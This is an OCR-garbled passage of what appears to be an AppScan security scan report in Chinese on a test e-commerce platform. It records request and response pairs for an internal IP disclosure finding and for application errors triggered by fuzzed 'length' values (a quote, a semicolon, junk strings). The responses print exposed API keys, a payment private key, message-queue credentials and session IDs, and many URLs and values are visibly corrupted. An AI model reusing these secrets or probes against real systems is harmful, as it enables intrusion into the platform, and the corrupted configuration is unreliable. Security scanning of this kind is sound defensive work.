 "GJ LOGISTICS URL": "http:\/\/
                                    172.19.6.150:30106\/tools\/declartion\/accept",
 "wf returnsale": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "ChinaPayAgent query url": "http:\//pay.weilian.cn//payment//ChinaPayAgent//query",
 "saleUrl": "http:\/\/vr-sale-rest-enterprise.mall.xt.weilian.cn\/",
 "HG PRODUCT URL": "http:\/\/
                                    172.19.6.150:30106\/tools\/declartion\/accept",
 "yn mall confirm time": "7",
 "PC YINENG CJG": "http:\/\/system-rest-
enterprise.mall.xt.weilian.cn\/static\/component_pages\/landscape.html",
 "iespGoodsUrl": "http:\/\/test.igoods.scn.weilian.cn\/",
 "mall finance host": "http:\/\/test.finance.scn.weilian.cn\/",
. . .
"supplierURL": "http:\/\/supplier-rest-enterprise.mall.xt.weilian.cn\/", "njxs_mall_uc_api_key": "lfea456a90123ew6",
 "APP_WEILING_MALL": "http:\/\/test.njxs.weilian.cn\/static\/NJ\/H5\/index.html",
"tmsUrl": "http:\/\/test.tms.scn.weilian.cn\/",
"HG LOGISTICS URL": "http:\/\/ 172.19.6.150:30106\/tools\/declartion\/accept",
 "loginUrl": "http:\/\/system-rest-enterprise.mall.xt.weilian.cn\/",
 "ChinaPayAgent url": "http:\/\/pay.weilian.cn\/payment\/ChinaPayAgent",
 "ChinaPayAgent pay url": "http:\///pay.weilian.cn\/payment\/ChinaPayAgent\/pay",
 "department": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/DepartAPI\/getDepartmentids.api",
 "yn_mall_api_key": "1234567899876543",
 "wf fare": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "pri url": "http:\/\/system-rest-enterprise.mall.xt.weilian.cn\/",
                                   172.19.6.104:61613",
 "SYNC UC MQ HOST": "tcp:\/\/
 "OPG SYN PAY METHODS URL": "http:\/\/pay.weilian.cn\/payment\/pay\/paymentsAPPOp",
 "PC NJXS MALL": "http:///test.njxs.weilian.cn//static//NJ//PC//mall pages//index.html",
 "print storage": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "mall storage host": "http:///vr-storage-rest-enterprise.mall.xt.weilian.cn//",
 "iespDeclarationUrl": "http:\/\/test.declaration.scn.weilian.cn\/",
 "wf wscontract": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "wms-sale-type": "deliveryOrderCreate",
 "SYNC_UC_MQ_TOPIC": "usertopic",
 "GJ_PAYMENT_URL": "http:\/\/
                                    172.19.6.150:30106\/tools\/declartion\/accept",
 "enterpriseId": "55",
 "enterpriseLevel": "1",
 "enterpriseCode": "SUNEEE",
 "dictionaryUrl": "http:\//vr-base-rest-enterprise.mall.xt.weilian.cn/ditionary\/List",
```

变体-|2/3

差异:

推理: AppScan 在响应中发现了看似为内部 IP 地址的内容。

测试请求和响应:

```
GET /user/getModularPrefix HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseLevel=1; sessionId=ee7290de32e02a6f31d21e51ab01d02b; enterpriseId=55;
enterpriseCode=SUNEEE; account=setest01
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
 "GJ LOGISTICSSTATUS URL": "http:\/\/
                                            172.19.6.150:30106\/tools\/declartion\/accept",
 "OPG APPCODE YN": "SUNEEE78CFCC27",
 "mall goods host": "http:///vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "wf_attributeOver": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "HG_ORDER_URL": "http:\/\/
                                 172.19.6.150:30106\/tools\/declartion\/accept",
 "getEmployeeList":
"http:\/\/asset.mall.xt.weilian.cn\/base\/EmployeeAPI\/getEmployeeList",
 "wf qiftid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "empURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/base\/base\/EmployeeAPI\/getEmployeeList",
 "wf_order": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/"
 "wf_instockid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "wholesaleUrl": "http:\/\test.wholesale.scn.weilian.cn\/\",
 "HG PAYMENT URL": "http:\/\/
                                    172.19.6.150:30106\/tools\/declartion\/accept",
 "SYNC UC MQ PASSWORD": "password",
 "OPG QUERY PAY METHODS URL": "http:///pay.weilian.cn//payment//pay//getPaymentsType",
 "purchaseUrl": "http:\/\/\vr-purchase-rest-enterprise.mall.xt.weilian.cn\/\',
 comURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/CompanyAPI\/getCompanyList",
 "baseDvURL": "http:\/\vr-base-rest-enterprise.mall.xt.weilian.cn\/\",
 "GJ_ORDER_URL": "http:\/\/
                                 172.19.6.150:30106\/tools\/declartion\/accept",
 "wf attributeTurndepot": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "dictURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/ditionary\/List",
 "njxs mall confirm time": "7",
 "purchase web url": "http:\/\/vr-purchase-rest-
enterprise.mall.xt.weilian.cn:81\/purchase\/",
 "se mall enterpriseid": "696",
 "savevrReturnUrl": "http:\/\/test.ecmp.weilian.cn\/erp\/",
 "pay url": "http:\/\/pay.weilian.cn\/payment\/pay",
 "bulletinAPI": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/bulletin\/queryAPI",
 "GJ PRODUCT_URL": "http:\/\/
                                    172.19.6.150:30106\/tools\/declartion\/accept",
 "ChinaPayAgent_se_private_key": "88501086f64f82fb492f34c7bd7a81d4",
 "OPG APPCODE NJ": "SUNEEE794B52CD",
 "OPG SE PAYMENT CODE NJ": "7155913390a78f0ab63c5cf8d8acfd6b",
 "print outstock": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "iespToolsUrl": "http:\/\/test.tools.scn.weilian.cn\/",
```

```
"SYNC UC MQ USERNAME": "admin",
 "HG LOGISTICSSTATUS URL": "http:\/\/
                                                                  172.19.6.150:30106\/tools\/declartion\/accept",
 "mall wholesale host": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "pri purchase": "http:\/\/supplier-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ INVENTORY URL": "http:\/\/
                                                        172.19.6.150:30106\/tools\/declartion\/accept",
 "yn mall enterprisecode": "SUNEEE",
 "mall file host": "http:\/\/cms.mall.xt.weilian.cn\/",
 "wf_taxBill": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "iespExpressUrl": "http:\/\/test.express.scn.weilian.cn\/",
. . .
 "contractUrl": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "contractURL": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "mall_base_host": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/",
 "ChinaPayAgent_se_payment_code": "69116f8c16ba8ed4355f709a1b4317a0",
 "HG INVENTORY URL": "http:\/\/
                                                       172.19.6.150:30106\/tools\/declartion\/accept",
 "mall contract host": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "zysc approval process url": "http:\/\/oa.suneee.weilian.cn\/",
 "wms-sale-topic": "vr-topic1",
 "qoodsclassListUrl": "http:\/\/vr-qoods-rest-enterprise.mall.xt.weilian.cn\/",
 "wf\_contract": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/", and a substitution of the contract of the contra
 "njxs mall erp goods host": "http:///vr-goods-rest-enterprise.mall.xt.weilian.cn/",
 "OA GROUP": "zysc",
 "njxs mall uc enterprisecode": "zj test11",
 "njxs mall erp vipinfo host": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/",
 "OA TOPIC": "userorginfo",
 "OPG URL": "http:\/\/pay.weilian.cn\/payment\/pay",
 "pri goodsclass": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
  'xp url": "http:\/\/xp.weilian.cn\/login.html",
 "goodsUrl": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ LOGISTICS URL": "http:\/\/
                                                      172.19.6.150:30106\/tools\/declartion\/accept",
 "wf_returnsale": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "ChinaPayAgent query url": "http:///pay.weilian.cn//payment//ChinaPayAgent//query",
 "saleUrl": "http:\/\/vr-sale-rest-enterprise.mall.xt.weilian.cn\/",
 "HG PRODUCT URL": "http:\/\/
                                                      172.19.6.150:30106\/tools\/declartion\/accept",
 "yn_mall_confirm_time": "7",
 "PC YINENG CJG": "http:\/\/system-rest-
enterprise.mall.xt.weilian.cn\/static\/component pages\/landscape.html",
 "iespGoodsUrl": "http:\/\/test.igoods.scn.weilian.cn\/",
 "mall finance host": "http:\/\/test.finance.scn.weilian.cn\/",
 "supplierURL": "http:\/\/supplier-rest-enterprise.mall.xt.weilian.cn\/",
 "njxs mall uc api key": "1fea456a90123ew6",
 "APP WEILING MALL": "http:\/\/test.njxs.weilian.cn\/static\/NJ\/H5\/index.html",
 "tmsUrl": "http:\/\/test.tms.scn.weilian.cn\/",
"HG LOGISTICS URL": "http:\/\/ 172.19.6.150:30106\/tools\/declartion\/accept",
 "loginUrl": "http:\/\/system-rest-enterprise.mall.xt.weilian.cn\/",
 "ChinaPayAgent url": "http:\/\/pay.weilian.cn\/payment\/ChinaPayAgent",
 "ChinaPayAgent pay url": "http:\///pay.weilian.cn\/payment\/ChinaPayAgent\/pay",
 "department": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/DepartAPI\/getDepartmentids.api",
 "yn mall api key": "1234567899876543",
 "wf fare": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "pri url": "http:\/\/system-rest-enterprise.mall.xt.weilian.cn\/",
 "SYNC UC MQ HOST": "tcp:\/\/
                                                   172.19.6.104:61613",
 "OPG SYN PAY METHODS_URL": "http:\/\/pay.weilian.cn\/payment\/pay\/paymentsAPPOp",
 "PC NJXS MALL": "http:///test.njxs.weilian.cn//static//NJ//PC//mall pages//index.html",
 "print storage": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "mall storage host": "http:\//vr-storage-rest-enterprise.mall.xt.weilian.cn/",
. . .
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 "iespDeclarationUrl": "http:\/\/test.declaration.scn.weilian.cn\/",
 "wf wscontract": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "wms-sale-type": "deliveryOrderCreate",
 "SYNC UC MQ TOPIC": "usertopic",
 "GJ PAYMENT URL": "http:\/// 172.19.6.150:30106\/tools\/declartion\/accept",
```

```
"enterpriseId": "55",
  "enterpriseLevel": "1",
  "enterpriseCode": "SUNEEE",
  "dictionaryUrl": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/ditionary\/List",
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变体-|3/3

差异: cookie 已从请求除去: 20687a7693972426b8692099c6af15d7

推理: AppScan 在响应中发现了看似为内部 IP 地址的内容。

测试请求和响应:

```
GET /user/getModularPrefix HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Cookie: enterpriseLevel=1; enterpriseId=55; enterpriseCode=SUNEEE; account=setest01
Connection: keep-alive
Host: system-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; g=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
. . .
Content-Type: application/ison; charset=utf-8
Transfer-Encoding: chunked
                                            172.19.6.150:30106\/tools\/declartion\/accept",
 "GJ LOGISTICSSTATUS URL": "http:\/\/
 "OPG APPCODE YN": "SUNEEE78CFCC27",
 "mall goods host": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "wf_attributeOver": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/"
 "HG ORDER URL": "http:\/\/
                                172.19.6.150:30106\/tools\/declartion\/accept",
 "getEmployeeList":
"http:\/\/asset.mall.xt.weilian.cn\/base\/EmployeeAPI\/getEmployeeList",
 "wf giftid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "empURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/base\/base\/EmployeeAPI\/getEmployeeList",
 "wf order": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "wf instockid": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "wholesaleUrl": "http:\/\test.wholesale.scn.weilian.cn\/\",
 "HG PAYMENT URL": "http:\/\/
                                    172.19.6.150:30106\/tools\/declartion\/accept",
 "SYNC_UC_MQ_PASSWORD": "password",
 "OPG QUERY PAY METHODS URL": "http:\/\/pay.weilian.cn\/payment\/pay\/getPaymentsType",
 "purchaseUrl": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
  comURL": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/CompanyAPI\/getCompanyList",
 "baseDvURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ ORDER URL": "http:\/\/ 172.19.6.150:30106\/tools\/declartion\/accept",
 "wf attributeTurndepot": "http:///vr-storage-rest-enterprise.mall.xt.weilian.n//",
 "dictURL": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/ditionary\/List",
 "njxs_mall_confirm_time": "7",
 "purchase_web_url": "http:\/\/vr-purchase-rest-
enterprise.mall.xt.weilian.cn:81\/purchase\/",
. . .
 "se_mall_enterpriseid": "696",
 "savevrReturnUrl": "http:\/\/test.ecmp.weilian.cn\/erp\/",
 "pay_url": "http:\/\/pay.weilian.cn\/payment\/pay",
 "bulletinAPI": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/bulletin\/queryAPI",
 "GJ PRODUCT URL": "http:\// 172.19.6.150:30106\/tools\/declartion\/accept",
```

```
"ChinaPayAgent_se_private_key": "88501086f64f82fb492f34c7bd7a81d4",
 "OPG APPCODE NJ": "SUNEEE794B52CD",
 "OPG SE PAYMENT CODE NJ": "7155913390a78f0ab63c5cf8d8acfd6b",
 "print outstock": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
 "iespToolsUrl": "http:///test.tools.scn.weilian.cn\/",
 "SYNC UC MQ USERNAME": "admin",
 "HG LOGISTICSSTATUS URL": "http:\/\/
                                               172.19.6.150:30106\/tools\/declartion\/accept",
 "mall wholesale host": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "pri purchase": "http:\/\/supplier-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ INVENTORY_URL": "http:\/\/
                                       172.19.6.150:30106\/tools\/declartion\/accept",
 "yn mall enterprisecode": "SUNEEE",
 "mall file host": "http:\/\/cms.mall.xt.weilian.cn\/",
 "wf taxBill": "http:\/\/vr-purchase-rest-enterprise.mall.xt.weilian.cn\/",
"iespExpressUrl": "http:\/\/test.express.scn.weilian.cn\/",
"contractUrl": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
  contractURL": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "mall base host": "http:\/\/vr-base-rest-enterprise.mall.xt.weilian.cn\/",
 "ChinaPayAgent_se_payment_code": "69116f8c16ba8ed4355f709alb4317a0", "HG_INVENTORY_URL": "http:\// 172.19.6.150:30106\/tools\/decl
                                     172.19.6.150:30106\/tools\/declartion\/accept",
"mall_contract_host": "http:\/\/vr-contract_rest-enterprise.mall.xt.weilian.cn\/",
"zysc_approval_process_url": "http:\/\/oa.suneee.weilian.cn\/",
 "wms-sale-topic": "vr-topic1",
"goodsclassListUrl": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
. . .
. . .
 "wf contract": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "njxs mall erp goods host": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "OA GROUP": "zysc",
 "njxs mall uc enterprisecode": "zj test11",
                                172.16.36.71:30920\/",
 "se mall url": "http:\/\/
 "njxs mall erp vipinfo host": "http:\//vr-base-rest-enterprise.mall.xt.weilian.cn//",
 "OA TOPIC": "userorginfo",
 "OPG URL": "http:\/\/pay.weilian.cn\/payment\/pay",
 "pri goodsclass": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "xp url": "http:\/\/xp.weilian.cn\/login.html",
 "goodsUrl": "http:\/\/vr-goods-rest-enterprise.mall.xt.weilian.cn\/",
 "GJ LOGISTICS URL": "http:\/\/
                                       172.19.6.150:30106\/tools\/declartion\/accept",
 "wf returnsale": "http:\/\/test.wholesale.scn.weilian.cn\/",
 "ChinaPayAgent query url": "http:\/\/pay.weilian.cn\/payment\/ChinaPayAgent\/query",
 "saleUrl": "http:\/\vr-sale-rest-enterprise.mall.xt.weilian.cn\/",
 "HG PRODUCT URL": "http:\/\/
                                      172.19.6.150:30106\/tools\/declartion\/accept",
 "yn_mall_confirm_time": "7",
"PC YINENG CJG": "http:\/\/system-rest-
enterprise.mall.xt.weilian.cn\/static\/component_pages\/landscape.html",
 "iespGoodsUrl": "http:\/\/test.igoods.scn.weilian.cn\/",
 "mall finance host": "http:\/\/test.finance.scn.weilian.cn\/",
. . .
 "supplierURL": "http:\/\/supplier-rest-enterprise.mall.xt.weilian.cn\/",
 "njxs mall uc api key": "1fea456a90123ew6",
 "APP WEILING MALL": "http:\/\/test.njxs.weilian.cn\/static\/NJ\/H5\/index.html",
"tmsUrl": "http:\\/\test.tms.scn.weilian.cn\\",
"HG_LOGISTICS_URL": "http:\\/\
172.19.6.150
:30106\/tools\/declartion\/accept",
 "loginUrl": "http:\/\/system-rest-enterprise.mall.xt.weilian.cn\/",
 "ChinaPayAgent_url": "http:\/\/pay.weilian.cn\/payment\/ChinaPayAgent",
 "ChinaPayAgent pay url": "http:\/\/pay.weilian.cn\/payment\/ChinaPayAgent\/pay",
 "department": "http:\/\/vr-base-rest-
enterprise.mall.xt.weilian.cn\/DepartAPI\/getDepartmentids.api"
 "yn_mall_api_key": "1234567899876543",
 "wf fare": "http:\/\/vr-contract-rest-enterprise.mall.xt.weilian.cn\/",
 "pri url": "http:\/\/system-rest-enterprise.mall.xt.weilian.cn\/",
 "SYNC_UC_MO_HOST": "tcp:\\\/ 172.19.6.104:61613",
"OPG_SYN_PAY_METHODS_URL": "http:\\\/pay.weilian.cn\/payment\/pay\/paymentsAPPOP",
 "PC NJXS MALL": "http:\/\/test.njxs.weilian.cn\/static\/NJ\/PC\/mall pages\/index.html",
 "print storage": "http:\/\/vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
 "mall storage host": "http:\//vr-storage-rest-enterprise.mall.xt.weilian.cn\/",
. . .
. . .
```

参 应用程序错误 43

TOC

TOC

问题 1 / 43

应用程序针	世误
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	length (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=*00&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36

Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,FOST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:54 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

For input string: " "
```

变体-|2/9

差异: 参数 从以下位置进行控制: 15 至: 15xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15XYZ&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15XYZ"
```

变体-13/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length.=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
```

```
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
null
```

变体-14/9

差异: 参数 从以下位置进行控制: length 至: __ORIG_VAL_[]

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
\label{lem:draw-lastart} draw=1 \& start=0 \& length \%5B \%5D=15 \& search \%5B value \%5D=4 search \%5B regex \%5D=false \& pageNum=1 \& search Value=1 & search Value
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

变体-|5/9

差异: 参数 从以下位置进行控制: 15 至: —

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
```

```
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""
```

变体-|6/9

差异: 参数 已从请求除去: 15

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
null
```

变体-|7/9

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

GET /goodsRestApi/getGoodsStockList?

```
draw=1&start=0&length=%27&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers: x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"
```

变体-|8/9

差异: 参数 从以下

参数 从以下位置进行控制: 15 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

```
测试请求和响应:
```

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=; &search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:20:58 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ";"
```

变体-|9/9

差异: 参数 从以下位置进行控制: 15 至: 1

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=) &search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
